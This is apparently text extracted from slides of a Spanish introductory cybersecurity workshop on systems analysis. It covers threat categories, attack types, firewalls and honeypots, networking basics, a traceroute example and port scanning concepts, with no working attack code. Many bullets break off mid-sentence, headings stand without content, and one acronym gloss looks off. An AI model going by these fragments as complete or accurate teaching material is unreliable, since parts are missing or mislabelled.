• Daño físico: fuego, agua, vandalismo, pérdida de energía y desastres naturales.

• Fallos del equipamiento: fallos del sistema o dispositivos periféricos.

• Ataques internos o externos: hacking, cracking y/o cualquier tipo de ataque.

• Pérdida de datos: divulgación de secretos comerciales, fraude, espionaje y robo.

• Errores en las aplicaciones: errores de computación, errores de entrada, etc.

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 11

¿Qué tipos de hackers existen en función de los objetivos que tienen?

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 12

• Modificación: se trata de modificar la información sin autorización alguna.

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 13

• Denegación de servicio: consiste en la interrupción de un servicio sin autorización.

Los principales sistemas y más conocidos son los siguientes:

• Firewall: sistemas de restricción de tráfico basado en reglas.

• Honeypot: Recoge información de los atacantes y los distrae de las

• SIM . (Gestión de Seguridad de la Información) el análisis y la comunicación

Las prácticas del taller se realizan sobre un entorno controlado.

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 16

¿Cómo lo vamos a aprender?

• Explotación de aplicaciones web: aprovechamiento de fallos de seguridad

• Explotación de sistemas: aprovechamiento del servidor y de la

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 20

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 21

• De manera indirecta en internet:

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 22

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 23

• Tipos de redes según tamaño:

• Otra tipología de redes:

Ejemplo código binario

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 26

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 27

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 28

>> traceroute www.google.com

• Muestra, como nuestra conexión a dado 13 saltos hasta llegar a google.com

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 29

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 30

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 31

• SYN  Paquete de sincronización

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 32

Jornadas “Espacios de Ciberseguridad” – Espionaje y Cibervigilancia 33

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 34

22 SSH (Secure Shell)

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 35

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 36

¿Para qué sirve el análisis de puertos?

¿Qué información puede obtener un atacante?

Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 38